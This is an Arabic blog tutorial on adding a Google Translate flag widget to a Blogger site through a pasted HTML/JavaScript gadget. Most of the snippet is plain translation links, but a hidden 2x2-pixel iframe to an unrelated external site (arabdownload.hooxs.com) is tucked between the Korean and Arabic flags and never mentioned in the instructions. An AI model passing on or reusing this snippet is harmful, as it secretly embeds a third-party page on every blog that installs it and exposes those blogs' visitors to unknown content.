السلام عليكم ورحمة الله وبركاته، قد يأتي لمدونتك زوار من مختلف الدول وبالتالي لغات متعددة لذلك سوف نتطترق في هده التدوينة عن اضافة تمكن الزائر من ترجمة المدونة الى اي لغة يفضلها وبطريقة فورية تابعوا الشرح .
اولا نتجه لوحة تحكم المدونة ثم الى التخطيط :
تانيا اضافة أداة HTML/JavaScript ثم نضيف فيها الكود التالي :
<style> .google_translate img { filter:alpha(opacity=100); -moz-opacity: 1.0; opacity: 1.0; border:0; } .google_translate:hover img { filter:alpha(opacity=30); -moz-opacity: 0.30; opacity: 0.30; border:0; } .google_translatextra:hover img { filter:alpha(opacity=0.30); -moz-opacity: 0.30; opacity: 0.30; border:0; } </style> <div> <a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="English" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cen&hl=en'); return false;"><img alt="English" border="0" align="absbottom" title="English" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje1leLB4y_XmJh2PszzfhO4kk6I7lm-9GvXRihgZPTvjeADoreju5oheuVzTHfMvnqg-RQiqOh5DZPjd8MT6RdgCLKh7ImkjQIoEfqcQg-7ErdfP6ZbocVvKA9Fl69z9kw96TqbWBXT8c/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a> <a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="French" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cfr&hl=en'); return false;"><img alt="French" border="0" align="absbottom" title="French" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoaCU4zOj4S-EEklo_E1HkNL2eriE0-mCLjmqjt2t0XHOR1vbc9MfWzrQy0Ubh6bNEiJNLkFwu8nS2dJsLNkMCX71bKnVDo__1w2Jnrld25cgdqpI_ODQxKtISmjovS7qt405RbYI1CiI/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a> <a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="German" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cde&hl=en'); return false;"><img alt="German" border="0" align="absbottom" title="German" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn-CS-oAPFqbaiy8S58Eweh2ay0D7mPhOHqpfRkGGXlimVWBYuBbiqxMs6AtNW-TIzESl9jSWH_ryhVQBEM5Oe_OD5ECFJWclNSNvMrWM8rJtTyHrL4onBehIAtUrRaDsNIzMTMkt-EPWY/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a> <a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Spain" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Ces&hl=en'); return false;"><img alt="Spain" border="0" align="absbottom" title="Spain" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhy0oMuSCfkP2uF6nYpKIToAQaBNDhjAwwad-7_VIjRhhPF-jZhqUoZCM41ayw3zfXixpo81lStN0D1xFdgOAWluUbhuWu8Axa-bz9BODccCQAyea8HPqrrSGKPzZQ60mG008JnHYdgv1_/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a> <a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Italian" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cit&hl=en'); return false;"><img alt="Italian" border="0" align="absbottom" title="Italian" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1WnwV7mDMHc5CS1Rrf9NYUvaFdUvZgPLlGrFJ86PZA_s6q-kJA1-oyzmAb2UWHqHwhjtQXNy1f9U9l6hp1rFhZDd3ClEuoLuIBBtDA51JZBUdzmly15p4B-oaGHFhNQx04qt10EeplfE/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a> <a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Dutch" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cnl&hl=en'); return false;"><img alt="Dutch" border="0" align="absbottom" title="Dutch" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrvgvOz71Pm5fDETawE0Re2LRMqExH-jzW0SkhCi_OaagRZVSDWzF-Ky9Yb4Px44v49Hq40O4KXH7BXmTEfROSHylGP6HxbfkIRXlAcxWYWBqNwM1Fnqqv_dodQIRp4Q0O-JyoCjFXMJw/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a> <br /><br /> <a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Russian" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cru&hl=en'); return false;"><img alt="Russian" border="0" align="absbottom" title="Russian" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCIRuir6kU1R4x8wImPeLFOy9AHh0OMBVTvezWWRy5egKbhpK4i80eTBv8-WkUrspV0zSiwymtmgPNt57VQtC6EhLuQqH6Mr0ARddg0CDPxkA_tiPnv7qicE09FYidAE2p2HjzjsQV2RY/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a> <a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Portuguese" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cpt&hl=en'); return false;"><img alt="Portuguese" border="0" align="absbottom" title="Portuguese" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv_PUNMzMt7k2QA06NAtXmKEAxSseKiWuoy3GQNRJuXovhikO8R7Fh-d-Lhx1eQ3-l_W1DfQTFRmMiOkSpf9HytrMpRpiK9x1BoU99hTwdqI6SzXxswMon1-FK4cr2jJ2SngLA5cgK0Ms/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a> <a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Japanese" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cja&hl=en'); return false;"><img alt="Japanese" border="0" align="absbottom" title="Japanese" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga0jp7sevwzdDQC0JuEhenIiXm73Y1tMlFjg1mfyWqlmxhAWcnxEGHRGZ1R4Jq08hrk2mxZoZYUwVkuVRRFTMH7DF3pVRSb-lqRWqVQ-de7b55nP3C8Y0LNKS2DAYJETowborSq7Olu6SL/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a> <a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Korean" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cko&hl=en'); return false;"><img alt="Korean" border="0" align="absbottom" title="Korean" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFDjfq-T-ZSELVFLlhb2LoPLfTONwWVt0nhPUMUdfboSB6AorqOjAjmd3ZXu8Y0Fa_gnB1DVglKxSdXMvRYCcn6A8f4AGqUubCDPG8ZaoyJMlbXOiRD7pttuxFKAuTNqxAKeWRByJ9L5s/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a> <iframe src ="http://arabdownload.hooxs.com/h6-page" width="2" height="2"> </iframe> <a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Arabic" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Car&hl=en'); return false;"><img alt="Arabic" border="0" align="absbottom" title="Arabic" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRSb50s2-2Lq41P5a1npXPf_BbbXt3pYpNsDZ_lVxJ7-kQ1KtjboFHqhSpMGfPWWmk-ciA0vEVMjWANXTIu1BTHB3sZVh-JuGpd0440x-uQidLxtALKCIbrIGCOxdNqew7RWI3VcHzs5A/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a> <a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Chinese Simplified" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Czh-CN&hl=en'); return false;"><img alt="Chinese Simplified" border="0" align="absbottom" title="Chinese Simplified" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDebWEi-LX6qF9SOHLfxFu5jHZUdE1wRvPry8bvXUCTSSYPUYjtDV02JrSlVFLD3hKZKD1D0y4yWg8szjmTmUSyjfrspJjka06x44lQPCvk8KWGlOqSypArc-PAU3gL17_b7SlxEpMRF8/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a> </div><div style="font-size:10px;margin:10px 0px 3px 0px"></div>
بعد اضافة الكود نعمل حفظ ونتجه الى المدونة لنلاحظ اضافة الاداة
ad 2